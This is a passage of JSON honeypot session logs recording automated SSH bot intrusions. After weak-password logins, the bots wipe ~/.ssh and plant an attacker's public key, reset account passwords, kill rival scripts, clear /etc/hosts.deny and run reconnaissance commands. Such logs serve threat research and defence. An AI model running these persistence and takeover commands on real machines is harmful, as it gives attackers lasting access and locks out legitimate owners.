-l"},{"seq":15,"at":"2026-08-27T06:50:50.863611+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T06:50:51.486571+00:00","kind":"output","latency_ms":null,"data":" 06:50:51 up 7 days, 3:40, 0 user, load average: 0.32, 0.34, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T06:50:51.839528+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T06:50:52.638185+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T06:50:52.990446+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T06:50:53.828294+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T06:50:54.179319+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T06:50:54.549657+00:00","kind":"output","latency_ms":null,"data":"top - 06:50:54 up 7 days, 3:41, 0 user, load average: 0.32, 0.34, 0.24\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T06:50:54.902072+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T06:50:55.267280+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T06:50:55.619719+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T06:50:56.072885+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T06:50:56.426113+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T06:50:57.017251+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T06:50:57.367769+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T06:50:58.683092+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T06:50:59.037662+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T06:51:00.330195+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Q12we34rt5","method":"password","accepted":true,"tier":"other"}]} {"id":"14f6b565-1d2d-496f-965d-781a68b86c70","name":"plush-rambling-eagle","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":44774,"username":"dante","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T06:48:54.647274+00:00","ended_at":"2026-08-27T06:48:55.796824+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2074,"events":[{"seq":1,"at":"2026-08-27T06:48:35.862301+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T06:48:36.186293+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T06:48:41.073106+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T06:48:41.452225+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T06:48:41.776312+00:00","kind":"input","latency_ms":null,"data":"echo -e \"dante\\nVhZickV9AGig\\nVhZickV9AGig\"|passwd|bash"},{"seq":6,"at":"2026-08-27T06:48:42.101408+00:00","kind":"input","latency_ms":null,"data":"echo \"dante\\nVhZickV9AGig\\nVhZickV9AGig\\n\"|passwd"},{"seq":7,"at":"2026-08-27T06:48:42.422470+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T06:48:43.133136+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T06:48:43.456125+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T06:48:44.757050+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T06:48:45.082601+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T06:48:46.334265+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T06:48:46.661530+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T06:48:47.246528+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T06:48:47.570648+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T06:48:47.930597+00:00","kind":"output","latency_ms":null,"data":" 06:48:47 up 7 days, 3:38, 0 user, load average: 0.07, 0.06, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T06:48:48.255423+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T06:48:48.550116+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T06:48:48.874247+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T06:48:49.711384+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T06:48:50.033917+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T06:48:50.428249+00:00","kind":"output","latency_ms":null,"data":"top - 06:48:50 up 7 days, 3:38, 0 user, load average: 0.07, 0.06, 0.05\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T06:48:50.754313+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T06:48:51.105042+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T06:48:51.430662+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T06:48:52.035121+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T06:48:52.358852+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T06:48:52.610087+00:00","kind":"output","latency_ms":null,"data":"dante"},{"seq":29,"at":"2026-08-27T06:48:52.935792+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T06:48:54.323566+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T06:48:54.648049+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T06:48:55.700246+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"dante","password":"dante","method":"password","accepted":true,"tier":"other"}]} {"id":"8f597acf-c9c6-4d03-8c67-09f0068dd656","name":"amiable-supple-martin","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":53484,"username":"weblogic","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T06:46:51.982788+00:00","ended_at":"2026-08-27T06:46:53.144929+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2072,"events":[{"seq":1,"at":"2026-08-27T06:46:37.407560+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T06:46:37.730892+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T06:46:41.685459+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T06:46:41.687256+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T06:46:42.009576+00:00","kind":"input","latency_ms":null,"data":"echo -e \"weblogic\\nhFi0vkbJPKSM\\nhFi0vkbJPKSM\"|passwd|bash"},{"seq":6,"at":"2026-08-27T06:46:42.332678+00:00","kind":"input","latency_ms":null,"data":"echo \"weblogic\\nhFi0vkbJPKSM\\nhFi0vkbJPKSM\\n\"|passwd"},{"seq":7,"at":"2026-08-27T06:46:42.668059+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T06:46:42.669161+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T06:46:42.983228+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T06:46:43.515179+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T06:46:43.843069+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T06:46:44.371216+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T06:46:44.698662+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T06:46:44.699096+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T06:46:45.022649+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T06:46:45.024252+00:00","kind":"output","latency_ms":null,"data":" 06:46:45 up 7 days, 3:36, 0 user, load average: 0.03, 0.02, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T06:46:45.345597+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T06:46:45.922212+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T06:46:46.247045+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T06:46:46.620574+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T06:46:46.944846+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T06:46:47.278541+00:00","kind":"output","latency_ms":null,"data":"top - 06:46:47 up 7 days, 3:36, 0 user, load average: 0.03, 0.02, 0.03\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T06:46:47.603155+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T06:46:48.093156+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T06:46:48.417900+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T06:46:49.105917+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T06:46:49.434122+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T06:46:50.238459+00:00","kind":"output","latency_ms":null,"data":"weblogic"},{"seq":29,"at":"2026-08-27T06:46:50.561801+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T06:46:51.661131+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T06:46:51.983540+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T06:46:53.048015+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"weblogic","password":"weblogic","method":"password","accepted":true,"tier":"other"}]} {"id":"c80a064c-9494-40b3-abd5-4f340e56be99","name":"orderly-rapid-chickadee","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":33954,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T06:44:42.100296+00:00","ended_at":"2026-08-27T06:44:42.758496+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2104,"events":[{"seq":1,"at":"2026-08-27T06:44:32.007153+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T06:44:32.332684+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T06:44:35.599022+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T06:44:35.601058+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T06:44:35.925239+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Pb61qtgY3WA4\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T06:44:36.247805+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T06:44:36.568363+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T06:44:36.570519+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T06:44:36.892166+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T06:44:37.400156+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T06:44:37.727784+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T06:44:38.256077+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T06:44:38.582567+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T06:44:38.584168+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T06:44:38.907874+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T06:44:38.909328+00:00","kind":"output","latency_ms":null,"data":" 06:44:38 up 7 days, 3:34, 0 user, load average: 0.14, 0.11, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T06:44:39.239484+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T06:44:39.241597+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T06:44:39.566089+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T06:44:39.567935+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T06:44:39.888006+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T06:44:39.893087+00:00","kind":"output","latency_ms":null,"data":"top - 06:44:39 up 7 days, 3:34, 0 user, load average: 0.14, 0.11, 0.1\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T06:44:40.212085+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T06:44:40.214591+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T06:44:40.537130+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T06:44:40.539696+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T06:44:40.861210+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T06:44:40.863822+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T06:44:41.186742+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T06:44:41.778306+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T06:44:42.101988+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T06:44:42.662879+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Samsung@123","method":"password","accepted":true,"tier":"other"}]} {"id":"72dafc1e-5c2d-46a1-8017-878ce5120fd5","name":"mellow-eager-adder","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":42658,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":325,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T06:40:44.085073+00:00","ended_at":"2026-08-27T06:40:44.701749+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-27T06:40:32.230756+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T06:40:32.552134+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T06:40:36.902142+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T06:40:36.904285+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T06:40:37.228087+00:00","kind":"input","latency_ms":null,"data":"echo \"root:knuOOdfYcYTu\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T06:40:37.554181+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T06:40:37.878538+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T06:40:37.879172+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T06:40:38.201201+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T06:40:39.150449+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T06:40:39.477544+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T06:40:40.350907+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T06:40:40.678070+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T06:40:40.678573+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T06:40:41.002892+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T06:40:41.003361+00:00","kind":"output","latency_ms":null,"data":" 06:40:41 up 7 days, 3:30, 0 user, load average: 0.17, 0.22, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T06:40:41.328457+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T06:40:41.329046+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T06:40:41.654809+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T06:40:41.655345+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T06:40:41.978881+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T06:40:41.979735+00:00","kind":"output","latency_ms":null,"data":"top - 06:40:41 up 7 days, 3:30, 0 user, load average: 0.17, 0.22, 0.13\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T06:40:42.304698+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T06:40:42.305111+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T06:40:42.631500+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T06:40:42.632261+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T06:40:42.957554+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T06:40:42.958181+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T06:40:43.282727+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T06:40:43.762245+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T06:40:44.086077+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T06:40:44.605009+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Az123456789","method":"password","accepted":true,"tier":"other"}]} 